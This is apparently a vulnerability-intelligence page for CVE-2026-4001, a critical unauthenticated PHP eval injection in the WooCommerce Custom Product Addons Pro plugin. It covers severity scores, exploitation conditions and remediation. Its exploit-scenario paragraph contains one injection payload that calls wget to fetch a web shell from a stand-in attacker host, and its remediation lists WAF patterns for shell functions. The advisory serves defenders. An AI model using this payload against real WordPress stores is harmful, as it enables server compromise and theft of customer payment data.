Skip to main content

Woocommerce Custom Product Addons Pro CVE-2026-4001

| EUVDEUVD-2026-14652 CRITICAL
Eval Injection (CWE-95)
2026-03-23 Wordfence GHSA-2qpc-rpxq-phv6
9.8
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit malicious pricing formula via product addon
  2. Exploit
    Bypass sanitize_values() HTML stripping
  3. Execution
    Inject PHP code into eval() function
  4. Impact
    Execute arbitrary code on server

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Eval input sanitization
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires WooCommerce Custom Product Addons Pro plugin versions up to 5.4.1 installed and activated. Unauthenticated remote attacker submits malicious PHP code via custom pricing formula field values. No victim interaction required. Default WordPress installations with this plugin are vulnerable.

Impact

This vulnerability presents an exceptionally high real-world risk based on multiple threat indicators. The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) confirms this is remotely exploitable over the network with low attack complexity, requires no privileges or user interaction, and enables complete system compromise with high impact to confidentiality, integrity, and availability. The combination of unauthenticated remote code execution in a WordPress plugin makes this inherently automatable and trivial to exploit at scale. E-commerce sites using WooCommerce with this plugin are particularly attractive targets due to the potential for payment data theft, site defacement, or pivot points into broader infrastructure. While EPSS scores and KEV status are not provided in available intelligence, the technical characteristics strongly suggest active exploitation is likely given the ease of weaponization and the high-value target profile of e-commerce platforms.

Exploit ScenarioDerived

An unauthenticated attacker browses to a WooCommerce product page that uses the Woocommerce Custom Product Addons Pro plugin with a text field configured for custom pricing formulas. The attacker submits a crafted value such as ');system('wget attacker.com/shell.php -O /tmp/shell.php');// into the custom field, which gets passed unsanitized to the eval() function in process_custom_formula(). This executes arbitrary PHP code on the server, allowing the attacker to download and execute a web shell, establish persistence, exfiltrate customer payment data from the WooCommerce database, and potentially pivot to other systems in the environment. Given the low attack complexity and lack of authentication requirements, mass exploitation via automated scanning is highly feasible.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 23, 2026

The Woocommerce Custom Product Addons Pro plugin for WordPress contains a critical remote code execution vulnerability caused by unsafe use of PHP's eval() function when processing custom pricing formulas. All versions up to and including 5.4.1 are affected, allowing unauthenticated attackers to execute arbitrary PHP code on the server by submitting malicious input to WCPA text fields configured with custom pricing formulas. With a CVSS score of 9.8, this represents a maximum severity issue requiring immediate attention, though EPSS and KEV status data are not provided in the available intelligence.

RemediationAI

Immediately upgrade Woocommerce Custom Product Addons Pro to version 5.4.2 or later if available, consulting the vendor advisory at https://acowebs.com/woo-custom-product-addons/ for the latest patched release. If an immediate upgrade is not feasible, disable all custom pricing formulas that use the {this.value} placeholder or completely deactivate the plugin until patching can be completed. Implement Web Application Firewall (WAF) rules to block requests containing PHP code patterns (such as system, exec, passthru, shell_exec) to WCPA field parameters as a temporary mitigation layer. Review server logs for suspicious POST requests to wp-admin/admin-ajax.php or other WordPress AJAX endpoints that may indicate exploitation attempts, and conduct a full security audit if any anomalous activity is detected, as successful exploitation may have already occurred.

Affected VersionsENISA

Woocommerce Custom Product Addons Pro * ≤5.4.1

Affected Packages

euvd woocommerce_custom_product_addons_pro no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects the Woocommerce Custom Product Addons Pro plugin (CPE: cpe:2.3:a:acowebs:woocommerce_custom_product_addons_pro:*:*:*:*:*:*:*:*), a WordPress extension that allows merchants to add custom fields and dynamic pricing to WooCommerce products. The root cause is CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code), where user-supplied values are passed to PHP's eval() function within the process_custom_formula() function in includes/process/price.php. While the sanitize_values() method attempts to strip HTML tags, it fails to properly escape single quotes or prevent PHP code injection, allowing attackers to break out of the intended context and inject arbitrary PHP directives when custom pricing formulas use the {this.value} placeholder to reference user input.

Know when Woocommerce Custom Product Addons Pro gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

The Woocommerce Custom Product Addons Pro plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 5.4.1 via the custom pricing formula eval() in the process_custom_formula() function within includes/process/price.php. This is due to insufficient sanitization and validation of user-submitted field values before passing them to PHP's eval() function. The sanitize_values() method strips HTML tags but does not escape single quotes or prevent PHP code injection. This makes it possible for unauthenticated attackers to execute arbitrary code on the server by submitting a crafted value to a WCPA text field configured with custom pricing formula (pricingType: "custom" with {this.value}).

Executive ViewAI

Why It Matters

A critical remote code execution vulnerability in the WooCommerce Custom Product Addons Pro plugin allows unauthenticated attackers to execute arbitrary code on affected WordPress sites, potentially compromising customer data, payment information, and business operations. Organizations using this plugin are at immediate risk of full system compromise and must take emergency action to protect their infrastructure.

Business Impact: Severe
Compensating Controls

Disable the custom pricing formula feature in WCPA settings immediately; implement WAF rules to block malicious payloads targeting WCPA text fields; restrict plugin access via network segmentation or IP whitelisting; remove the plugin entirely if business-critical functionality can be achieved through alternative means; increase server-side logging and monitoring for suspicious PHP execution patterns; consider temporary removal of affected WooCommerce stores from production until patch availability.

Threat Intelligence Overview

EPSS Score
0.1%
Top 66% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy